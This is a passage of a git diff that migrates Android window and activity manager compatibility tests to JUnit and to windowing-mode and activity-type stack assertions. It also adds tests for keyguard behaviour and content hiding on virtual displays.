+ mAmWmState.waitForValidState(PIP_ACTIVITY, WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+ mAmWmState.assertContainsStack("Must contain pinned stack.",
+ WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
// Dock a task
launchActivity(TEST_ACTIVITY);
launchActivityInDockStack(DOCKED_ACTIVITY);
mAmWmState.assertContainsStack("Must contain fullscreen stack.",
- FULLSCREEN_WORKSPACE_STACK_ID);
- mAmWmState.assertContainsStack("Must contain docked stack.", DOCKED_STACK_ID);
+ WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
+ mAmWmState.assertContainsStack("Must contain docked stack.",
+ WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
// Enable the assistant and launch an assistant activity, ensure it is on top
enableAssistant();
launchActivity(LAUNCH_ASSISTANT_ACTIVITY_FROM_SESSION);
- mAmWmState.waitForValidState(mDevice, ASSISTANT_ACTIVITY, ASSISTANT_STACK_ID);
+ mAmWmState.waitForValidStateWithActivityType(ASSISTANT_ACTIVITY, ACTIVITY_TYPE_ASSISTANT);
assertAssistantStackExists();
- mAmWmState.assertFrontStack("Pinned stack should be on top.", PINNED_STACK_ID);
- mAmWmState.assertFocusedStack("Assistant stack should be focused.", ASSISTANT_STACK_ID);
+ mAmWmState.assertFrontStack("Pinned stack should be on top.",
+ WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+ mAmWmState.assertFocusedStack("Assistant stack should be focused.",
+ WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_ASSISTANT);
disableAssistant();
}
+ @Test
+ @Presubmit
public void testAssistantStackLaunchNewTask() throws Exception {
enableAssistant();
assertAssistantStackCanLaunchAndReturnFromNewTask();
disableAssistant();
}
+ @Test
+ @Presubmit
public void testAssistantStackLaunchNewTaskWithDockedStack() throws Exception {
if (!supportsSplitScreenMultiWindow()) return;
// Dock a task
launchActivity(TEST_ACTIVITY);
launchActivityInDockStack(DOCKED_ACTIVITY);
mAmWmState.assertContainsStack("Must contain fullscreen stack.",
- FULLSCREEN_WORKSPACE_STACK_ID);
- mAmWmState.assertContainsStack("Must contain docked stack.", DOCKED_STACK_ID);
+ WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
+ mAmWmState.assertContainsStack("Must contain docked stack.",
+ WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
enableAssistant();
assertAssistantStackCanLaunchAndReturnFromNewTask();
@@ -106,27 +135,37 @@
}
private void assertAssistantStackCanLaunchAndReturnFromNewTask() throws Exception {
+ final boolean inSplitScreenMode = mAmWmState.getAmState().containsStack(
+ WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
+
// Enable the assistant and launch an assistant activity which will launch a new task
enableAssistant();
launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
EXTRA_LAUNCH_NEW_TASK, TEST_ACTIVITY);
disableAssistant();
+ final int expectedWindowingMode = inSplitScreenMode
+ ? WINDOWING_MODE_SPLIT_SCREEN_SECONDARY
+ : WINDOWING_MODE_FULLSCREEN;
// Ensure that the fullscreen stack is on top and the test activity is now visible
- mAmWmState.waitForValidState(mDevice, TEST_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID);
+ mAmWmState.waitForValidState(TEST_ACTIVITY, expectedWindowingMode, ACTIVITY_TYPE_STANDARD);
mAmWmState.assertFocusedActivity("TestActivity should be resumed", TEST_ACTIVITY);
mAmWmState.assertFrontStack("Fullscreen stack should be on top.",
- FULLSCREEN_WORKSPACE_STACK_ID);
+ expectedWindowingMode, ACTIVITY_TYPE_STANDARD);
mAmWmState.assertFocusedStack("Fullscreen stack should be focused.",
- FULLSCREEN_WORKSPACE_STACK_ID);
+ expectedWindowingMode, ACTIVITY_TYPE_STANDARD);
// Now, tell it to finish itself and ensure that the assistant stack is brought back forward
executeShellCommand("am broadcast -a " + TEST_ACTIVITY_ACTION_FINISH_SELF);
- mAmWmState.waitForFocusedStack(mDevice, ASSISTANT_STACK_ID);
- mAmWmState.assertFrontStack("Assistant stack should be on top.", ASSISTANT_STACK_ID);
- mAmWmState.assertFocusedStack("Assistant stack should be focused.", ASSISTANT_STACK_ID);
+ mAmWmState.waitForFocusedStack(WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_ASSISTANT);
+ mAmWmState.assertFrontStackActivityType(
+ "Assistant stack should be on top.", ACTIVITY_TYPE_ASSISTANT);
+ mAmWmState.assertFocusedStack("Assistant stack should be focused.",
+ WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_ASSISTANT);
}
+ @Test
+ @Presubmit
public void testAssistantStackFinishToPreviousApp() throws Exception {
// Launch an assistant activity on top of an existing fullscreen activity, and ensure that
// the fullscreen activity is still visible and on top after the assistant activity finishes
@@ -135,59 +174,71 @@
launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
EXTRA_FINISH_SELF, "true");
disableAssistant();
- mAmWmState.waitForValidState(mDevice, TEST_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID);
- mAmWmState.waitForActivityState(mDevice, TEST_ACTIVITY, STATE_RESUMED);
+ mAmWmState.waitForValidState(TEST_ACTIVITY,
+ WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
+ mAmWmState.waitForActivityState(TEST_ACTIVITY, STATE_RESUMED);
mAmWmState.assertFocusedActivity("TestActivity should be resumed", TEST_ACTIVITY);
mAmWmState.assertFrontStack("Fullscreen stack should be on top.",
- FULLSCREEN_WORKSPACE_STACK_ID);
+ WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
mAmWmState.assertFocusedStack("Fullscreen stack should be focused.",
- FULLSCREEN_WORKSPACE_STACK_ID);
+ WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
}
+ @Test
+ @Presubmit
public void testDisallowEnterPiPFromAssistantStack() throws Exception {
enableAssistant();
launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
EXTRA_ENTER_PIP, "true");
disableAssistant();
- mAmWmState.waitForValidState(mDevice, ASSISTANT_ACTIVITY, ASSISTANT_STACK_ID);
- mAmWmState.assertDoesNotContainStack("Must not contain pinned stack.", PINNED_STACK_ID);
+ mAmWmState.waitForValidStateWithActivityType(ASSISTANT_ACTIVITY, ACTIVITY_TYPE_ASSISTANT);
+ mAmWmState.assertDoesNotContainStack("Must not contain pinned stack.",
+ WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
}
+ // TODO(b/69573940): Add back to presubmit
+ @Test
public void testTranslucentAssistantActivityStackVisibility() throws Exception {
enableAssistant();
// Go home, launch the assistant and check to see that home is visible
- removeStacks(FULLSCREEN_WORKSPACE_STACK_ID);
+ removeStacksInWindowingModes(WINDOWING_MODE_FULLSCREEN,
+ WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
launchHomeActivity();
launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
EXTRA_IS_TRANSLUCENT, String.valueOf(true));
- mAmWmState.waitForValidState(mDevice, TRANSLUCENT_ASSISTANT_ACTIVITY, ASSISTANT_STACK_ID);
+ mAmWmState.waitForValidStateWithActivityType(
+ TRANSLUCENT_ASSISTANT_ACTIVITY, ACTIVITY_TYPE_ASSISTANT);
assertAssistantStackExists();
+ mAmWmState.waitForHomeActivityVisible();
if (!noHomeScreen()) {
mAmWmState.assertHomeActivityVisible(true);
}
// Launch a fullscreen app and then launch the assistant and check to see that it is
// also visible
- removeStacks(ASSISTANT_STACK_ID);
+ removeStacksWithActivityTypes(ACTIVITY_TYPE_ASSISTANT);
launchActivity(TEST_ACTIVITY);
launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
EXTRA_IS_TRANSLUCENT, String.valueOf(true));
- mAmWmState.waitForValidState(mDevice, TRANSLUCENT_ASSISTANT_ACTIVITY, ASSISTANT_STACK_ID);
+ mAmWmState.waitForValidStateWithActivityType(
+ TRANSLUCENT_ASSISTANT_ACTIVITY, ACTIVITY_TYPE_ASSISTANT);
assertAssistantStackExists();
mAmWmState.assertVisibility(TEST_ACTIVITY, true);
// Go home, launch assistant, launch app into fullscreen with activity present, and go back.
// Ensure home is visible.
- removeStacks(ASSISTANT_STACK_ID);
+ removeStacksWithActivityTypes(ACTIVITY_TYPE_ASSISTANT);
launchHomeActivity();
launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
EXTRA_IS_TRANSLUCENT, String.valueOf(true), EXTRA_LAUNCH_NEW_TASK,
TEST_ACTIVITY);
- mAmWmState.waitForValidState(mDevice, TEST_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID);
+ mAmWmState.waitForValidState(TEST_ACTIVITY,
+ WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
mAmWmState.assertHomeActivityVisible(false);
pressBackButton();
- mAmWmState.waitForFocusedStack(mDevice, ASSISTANT_STACK_ID);
+ mAmWmState.waitForFocusedStack(WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_ASSISTANT);
assertAssistantStackExists();
+ mAmWmState.waitForHomeActivityVisible();
if (!noHomeScreen()) {
mAmWmState.assertHomeActivityVisible(true);
}
@@ -195,13 +246,15 @@
// Launch a fullscreen and docked app and then launch the assistant and check to see that it
// is also visible
if (supportsSplitScreenMultiWindow()) {
- removeStacks(ASSISTANT_STACK_ID);
+ removeStacksWithActivityTypes(ACTIVITY_TYPE_ASSISTANT);
launchActivityInDockStack(DOCKED_ACTIVITY);
launchActivity(TEST_ACTIVITY);
- mAmWmState.assertContainsStack("Must contain docked stack.", DOCKED_STACK_ID);
+ mAmWmState.assertContainsStack("Must contain docked stack.",
+ WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
EXTRA_IS_TRANSLUCENT, String.valueOf(true));
- mAmWmState.waitForValidState(mDevice, TRANSLUCENT_ASSISTANT_ACTIVITY, ASSISTANT_STACK_ID);
+ mAmWmState.waitForValidStateWithActivityType(
+ TRANSLUCENT_ASSISTANT_ACTIVITY, ACTIVITY_TYPE_ASSISTANT);
assertAssistantStackExists();
mAmWmState.assertVisibility(DOCKED_ACTIVITY, true);
mAmWmState.assertVisibility(TEST_ACTIVITY, true);
@@ -209,6 +262,8 @@
disableAssistant();
}
+ @Test
+ @Presubmit
public void testLaunchIntoSameTask() throws Exception {
enableAssistant();
@@ -216,8 +271,10 @@
launchActivity(LAUNCH_ASSISTANT_ACTIVITY_FROM_SESSION);
assertAssistantStackExists();
mAmWmState.assertVisibility(ASSISTANT_ACTIVITY, true);
- mAmWmState.assertFocusedStack("Expected assistant stack focused", ASSISTANT_STACK_ID);
- assertEquals(1, mAmWmState.getAmState().getStackById(ASSISTANT_STACK_ID).getTasks().size());
+ mAmWmState.assertFocusedStack("Expected assistant stack focused",
+ WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_ASSISTANT);
+ assertEquals(1, mAmWmState.getAmState().getStackByActivityType(
+ ACTIVITY_TYPE_ASSISTANT).getTasks().size());
final int taskId = mAmWmState.getAmState().getTaskByActivityName(ASSISTANT_ACTIVITY)
.mTaskId;
@@ -230,14 +287,17 @@
launchActivity(LAUNCH_ASSISTANT_ACTIVITY_FROM_SESSION);
assertAssistantStackExists();
mAmWmState.assertVisibility(ASSISTANT_ACTIVITY, true);
- mAmWmState.assertFocusedStack("Expected assistant stack focused", ASSISTANT_STACK_ID);
- assertEquals(1, mAmWmState.getAmState().getStackById(ASSISTANT_STACK_ID).getTasks().size());
+ mAmWmState.assertFocusedStack("Expected assistant stack focused",
+ WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_ASSISTANT);
+ assertEquals(1, mAmWmState.getAmState().getStackByActivityType(
+ ACTIVITY_TYPE_ASSISTANT).getTasks().size());
assertEquals(taskId,
mAmWmState.getAmState().getTaskByActivityName(ASSISTANT_ACTIVITY).mTaskId);
disableAssistant();
}
+ @Test
public void testPinnedStackWithAssistant() throws Exception {
if (!supportsPip() || !supportsSplitScreenMultiWindow()) return;
@@ -249,7 +309,8 @@
launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
EXTRA_IS_TRANSLUCENT, String.valueOf(true));
- mAmWmState.waitForValidState(mDevice, TRANSLUCENT_ASSISTANT_ACTIVITY, ASSISTANT_STACK_ID);
+ mAmWmState.waitForValidStateWithActivityType(
+ TRANSLUCENT_ASSISTANT_ACTIVITY, ACTIVITY_TYPE_ASSISTANT);
assertAssistantStackExists();
mAmWmState.assertVisibility(TRANSLUCENT_ASSISTANT_ACTIVITY, true);
mAmWmState.assertVisibility(PIP_ACTIVITY, true);
@@ -262,15 +323,8 @@
* Asserts that the assistant stack exists.
*/
private void assertAssistantStackExists() throws Exception {
- mAmWmState.assertContainsStack("Must contain assistant stack.", ASSISTANT_STACK_ID);
- }
-
- /**
- * Asserts that the assistant stack does not exist.
- */
- private void assertAssistantStackDoesNotExist() throws Exception {
- mAmWmState.assertDoesNotContainStack("Must not contain assistant stack.",
- ASSISTANT_STACK_ID);
+ mAmWmState.assertContainsStack("Must contain assistant stack.",
+ WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_ASSISTANT);
}
/**
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerConfigChangeTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerConfigChangeTests.java
similarity index 88%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerConfigChangeTests.java
rename to tests/framework/base/activitymanager/src/android/server/am/ActivityManagerConfigChangeTests.java
index 4640d19..d2c97c5 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerConfigChangeTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerConfigChangeTests.java
@@ -14,22 +14,25 @@
* limitations under the License.
*/
-package android.server.cts;
+package android.server.am;
+
+import static android.server.am.ActivityManagerState.STATE_RESUMED;
+import static android.server.am.StateLogger.log;
+import static android.server.am.StateLogger.logE;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
import android.platform.test.annotations.Presubmit;
-import static android.server.cts.ActivityManagerState.STATE_RESUMED;
-import static android.server.cts.StateLogger.logE;
-
-import com.android.ddmlib.Log.LogLevel;
-import com.android.tradefed.log.LogUtil.CLog;
+import org.junit.Test;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
/**
* Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerConfigChangeTests
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.ActivityManagerConfigChangeTests
*/
public class ActivityManagerConfigChangeTests extends ActivityManagerTestBase {
private static final String TEST_ACTIVITY_NAME = "TestActivity";
@@ -41,33 +44,39 @@
private static final float EXPECTED_FONT_SIZE_SP = 10.0f;
+ @Test
public void testRotation90Relaunch() throws Exception{
// Should relaunch on every rotation and receive no onConfigurationChanged()
testRotation(TEST_ACTIVITY_NAME, 1, 1, 0);
}
+ @Test
public void testRotation90NoRelaunch() throws Exception {
// Should receive onConfigurationChanged() on every rotation and no relaunch
testRotation(NO_RELAUNCH_ACTIVITY_NAME, 1, 0, 1);
}
+ @Test
public void testRotation180Relaunch() throws Exception {
// Should receive nothing
testRotation(TEST_ACTIVITY_NAME, 2, 0, 0);
}
+ @Test
public void testRotation180NoRelaunch() throws Exception {
// Should receive nothing
testRotation(NO_RELAUNCH_ACTIVITY_NAME, 2, 0, 0);
}
@Presubmit
+ @Test
public void testChangeFontScaleRelaunch() throws Exception {
// Should relaunch and receive no onConfigurationChanged()
testChangeFontScale(FONT_SCALE_ACTIVITY_NAME, true /* relaunch */);
}
@Presubmit
+ @Test
public void testChangeFontScaleNoRelaunch() throws Exception {
// Should receive onConfigurationChanged() and no relaunch
testChangeFontScale(FONT_SCALE_NO_RELAUNCH_ACTIVITY_NAME, false /* relaunch */);
@@ -79,20 +88,20 @@
launchActivity(activityName);
final String[] waitForActivitiesVisible = new String[] {activityName};
- mAmWmState.computeState(mDevice, waitForActivitiesVisible);
+ mAmWmState.computeState(waitForActivitiesVisible);
final int initialRotation = 4 - rotationStep;
setDeviceRotation(initialRotation);
- mAmWmState.computeState(mDevice, waitForActivitiesVisible);
+ mAmWmState.computeState(waitForActivitiesVisible);
final int actualStackId = mAmWmState.getAmState().getTaskByActivityName(
activityName).mStackId;
final int displayId = mAmWmState.getAmState().getStackById(actualStackId).mDisplayId;
final int newDeviceRotation = getDeviceRotation(displayId);
if (newDeviceRotation == INVALID_DEVICE_ROTATION) {
- CLog.logAndDisplay(LogLevel.WARN, "Got an invalid device rotation value. "
+ logE("Got an invalid device rotation value. "
+ "Continuing the test despite of that, but it is likely to fail.");
} else if (newDeviceRotation != initialRotation) {
- CLog.logAndDisplay(LogLevel.INFO, "This device doesn't support user rotation "
+ log("This device doesn't support user rotation "
+ "mode. Not continuing the rotation checks.");
return;
}
@@ -100,7 +109,7 @@
for (int rotation = 0; rotation < 4; rotation += rotationStep) {
final String logSeparator = clearLogcat();
setDeviceRotation(rotation);
- mAmWmState.computeState(mDevice, waitForActivitiesVisible);
+ mAmWmState.computeState(waitForActivitiesVisible);
assertRelaunchOrConfigChanged(activityName, numRelaunch, numConfigChange, logSeparator);
}
}
@@ -109,17 +118,17 @@
String activityName, boolean relaunch) throws Exception {
launchActivity(activityName);
final String[] waitForActivitiesVisible = new String[] {activityName};
- mAmWmState.computeState(mDevice, waitForActivitiesVisible);
+ mAmWmState.computeState(waitForActivitiesVisible);
setFontScale(1.0f);
- mAmWmState.computeState(mDevice, waitForActivitiesVisible);
+ mAmWmState.computeState(waitForActivitiesVisible);
final int densityDpi = getGlobalDensityDpi();
for (float fontScale = 0.85f; fontScale <= 1.3f; fontScale += 0.15f) {
final String logSeparator = clearLogcat();
setFontScale(fontScale);
- mAmWmState.computeState(mDevice, waitForActivitiesVisible);
+ mAmWmState.computeState(waitForActivitiesVisible);
assertRelaunchOrConfigChanged(activityName, relaunch ? 1 : 0, relaunch ? 0 : 1,
logSeparator);
@@ -135,6 +144,7 @@
* Test updating application info when app is running. An activity with matching package name
* must be recreated and its asset sequence number must be incremented.
*/
+ @Test
public void testUpdateApplicationInfo() throws Exception {
final String firstLogSeparator = clearLogcat();
@@ -145,7 +155,7 @@
final String logSeparator = clearLogcat();
// Update package info.
executeShellCommand("am update-appinfo all " + componentName);
- mAmWmState.waitForWithAmState(mDevice, (amState) -> {
+ mAmWmState.waitForWithAmState((amState) -> {
// Wait for activity to be resumed and asset seq number to be updated.
try {
return readAssetSeqNumber(TEST_ACTIVITY_NAME, logSeparator) == assetSeq + 1
@@ -195,7 +205,7 @@
Pattern.compile(".*?-(l|m|tv|h|xh|xxh|xxxh|\\d+)dpi-.*?");
private int getGlobalDensityDpi() throws Exception {
- final String result = getDevice().executeShellCommand("am get-config");
+ final String result = executeShellCommand("am get-config");
final String[] lines = result.split("\n");
if (lines.length < 1) {
throw new IllegalStateException("Invalid config returned from device: " + result);
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayKeyguardTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayKeyguardTests.java
new file mode 100644
index 0000000..a50aa83
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayKeyguardTests.java
@@ -0,0 +1,65 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+package android.server.am;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Display tests that require a keyguard.
+ *
+ * <p>Build: mmma -j32 cts/hostsidetests/services
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.ActivityManagerDisplayKeyguardTests
+ */
+public class ActivityManagerDisplayKeyguardTests extends ActivityManagerDisplayTestBase {
+ private static final String DISMISS_KEYGUARD_ACTIVITY = "DismissKeyguardActivity";
+
+ @Before
+ @Override
+ public void setUp() throws Exception {
+ super.setUp();
+ setLockDisabled(false);
+ }
+
+ @After
+ @Override
+ public void tearDown() throws Exception {
+ super.tearDown();
+ tearDownLockCredentials();
+ }
+
+ /**
+ * Tests whether a FLAG_DISMISS_KEYGUARD activity on a secondary display is visible (for an
+ * insecure keyguard).
+ */
+ @Test
+ public void testDismissKeyguardActivity_secondaryDisplay() throws Exception {
+ if (!supportsMultiDisplay() || !isHandheld()) {
+ return;
+ }
+
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+ gotoKeyguard();
+ mAmWmState.waitForKeyguardShowingAndNotOccluded();
+ mAmWmState.assertKeyguardShowingAndNotOccluded();
+ launchActivityOnDisplay(DISMISS_KEYGUARD_ACTIVITY, newDisplay.mDisplayId);
+ mAmWmState.waitForKeyguardShowingAndNotOccluded();
+ mAmWmState.assertKeyguardShowingAndNotOccluded();
+ mAmWmState.assertVisibility(DISMISS_KEYGUARD_ACTIVITY, true);
+ }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayLockedKeyguardTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayLockedKeyguardTests.java
new file mode 100644
index 0000000..afad769
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayLockedKeyguardTests.java
@@ -0,0 +1,124 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static android.server.am.ActivityManagerState.STATE_RESUMED;
+import static android.server.am.ActivityManagerState.STATE_STOPPED;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Display tests that require a locked keyguard.
+ *
+ * Build: mmma -j32 cts/hostsidetests/services
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.ActivityManagerDisplayLockedKeyguardTests
+ */
+public class ActivityManagerDisplayLockedKeyguardTests extends ActivityManagerDisplayTestBase {
+
+ private static final String TEST_ACTIVITY_NAME = "TestActivity";
+ private static final String VIRTUAL_DISPLAY_ACTIVITY = "VirtualDisplayActivity";
+ private static final String DISMISS_KEYGUARD_ACTIVITY = "DismissKeyguardActivity";
+ private static final String SHOW_WHEN_LOCKED_ACTIVITY = "ShowWhenLockedActivity";
+
+ @Before
+ @Override
+ public void setUp() throws Exception {
+ super.setUp();
+ setLockCredential();
+ }
+
+ @After
+ @Override
+ public void tearDown() throws Exception {
+ tearDownLockCredentials();
+ super.tearDown();
+ }
+
+ /**
+ * Test that virtual display content is hidden when device is locked.
+ */
+ @Test
+ public void testVirtualDisplayHidesContentWhenLocked() throws Exception {
+ if (!supportsMultiDisplay() || !isHandheld()) { return; }
+
+ // Create new usual virtual display.
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+ mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+
+ // Launch activity on new secondary display.
+ launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
+ mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true /* visible */);
+
+ // Lock the device.
+ gotoKeyguard();
+ mAmWmState.waitForKeyguardShowingAndNotOccluded();
+ mAmWmState.waitForActivityState(TEST_ACTIVITY_NAME, STATE_STOPPED);
+ mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, false /* visible */);
+
+ // Unlock and check if visibility is back.
+ unlockDeviceWithCredential();
+ mAmWmState.waitForKeyguardGone();
+ mAmWmState.waitForActivityState(TEST_ACTIVITY_NAME, STATE_RESUMED);
+ mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true /* visible */);
+ }
+
+ /**
+ * Tests whether a FLAG_DISMISS_KEYGUARD activity on a secondary display dismisses the keyguard.
+ */
+ @Test
+ public void testDismissKeyguard_secondaryDisplay() throws Exception {
+ if (!supportsMultiDisplay() || !isHandheld()) {
+ return;
+ }
+
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+ gotoKeyguard();
+ mAmWmState.waitForKeyguardShowingAndNotOccluded();
+ mAmWmState.assertKeyguardShowingAndNotOccluded();
+ launchActivityOnDisplay(DISMISS_KEYGUARD_ACTIVITY, newDisplay.mDisplayId);
+ enterAndConfirmLockCredential();
+ mAmWmState.waitForKeyguardGone();
+ mAmWmState.assertKeyguardGone();
+ mAmWmState.assertVisibility(DISMISS_KEYGUARD_ACTIVITY, true);
+ }
+
+ @Test
+ public void testDismissKeyguard_whileOccluded_secondaryDisplay() throws Exception {
+ if (!supportsMultiDisplay() || !isHandheld()) {
+ return;
+ }
+
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+ gotoKeyguard();
+ mAmWmState.waitForKeyguardShowingAndNotOccluded();
+ mAmWmState.assertKeyguardShowingAndNotOccluded();
+ launchActivity(SHOW_WHEN_LOCKED_ACTIVITY);
+ mAmWmState.computeState(
+ new WaitForValidActivityState.Builder(SHOW_WHEN_LOCKED_ACTIVITY).build());
+ mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
+ launchActivityOnDisplay(DISMISS_KEYGUARD_ACTIVITY, newDisplay.mDisplayId);
+ enterAndConfirmLockCredential();
+ mAmWmState.waitForKeyguardGone();
+ mAmWmState.assertKeyguardGone();
+ mAmWmState.assertVisibility(DISMISS_KEYGUARD_ACTIVITY, true);
+ mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
+ }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayTestBase.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayTestBase.java
similarity index 93%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayTestBase.java
rename to tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayTestBase.java
index b03fc6c..e34071b 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayTestBase.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayTestBase.java
@@ -14,14 +14,15 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
-import com.android.tradefed.device.CollectingOutputReceiver;
-import com.android.tradefed.device.DeviceNotAvailableException;
+import static android.server.am.ActivityAndWindowManagersState.DEFAULT_DISPLAY_ID;
+import static android.server.am.StateLogger.log;
-import static android.server.cts.ActivityAndWindowManagersState.DEFAULT_DISPLAY_ID;
-import static android.server.cts.StateLogger.log;
-import static android.server.cts.StateLogger.logE;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
+import org.junit.After;
import java.util.ArrayList;
import java.util.Collections;
@@ -52,14 +53,11 @@
/** Temp storage used for parsing. */
final LinkedList<String> mDumpLines = new LinkedList<>();
+ @After
@Override
- protected void tearDown() throws Exception {
- try {
- destroyVirtualDisplays();
- destroySimulatedDisplays();
- } catch (DeviceNotAvailableException e) {
- logE(e.getMessage());
- }
+ public void tearDown() throws Exception {
+ destroyVirtualDisplays();
+ destroySimulatedDisplays();
super.tearDown();
}
@@ -199,10 +197,8 @@
}
}
- ReportedDisplays getDisplaysStates() throws DeviceNotAvailableException {
- final CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
- mDevice.executeShellCommand(DUMPSYS_ACTIVITY_PROCESSES, outputReceiver);
- String dump = outputReceiver.getOutput();
+ ReportedDisplays getDisplaysStates() {
+ String dump = executeShellCommand(DUMPSYS_ACTIVITY_PROCESSES);
mDumpLines.clear();
Collections.addAll(mDumpLines, dump.split("\\n"));
@@ -249,8 +245,8 @@
} else {
launchActivity(VIRTUAL_DISPLAY_ACTIVITY);
}
- mAmWmState.computeState(mDevice, new String[] {VIRTUAL_DISPLAY_ACTIVITY},
- false /* compareTaskAndStackBounds */);
+ mAmWmState.computeState(false /* compareTaskAndStackBounds */,
+ new WaitForValidActivityState.Builder(VIRTUAL_DISPLAY_ACTIVITY).build());
final ActivityManagerDisplayTests.ReportedDisplays originalDS = getDisplaysStates();
// Create virtual display with custom density dpi.
@@ -435,8 +431,7 @@
}
/** Wait for provided number of displays and report their configurations. */
- ReportedDisplays getDisplayStateAfterChange(int expectedDisplayCount)
- throws DeviceNotAvailableException {
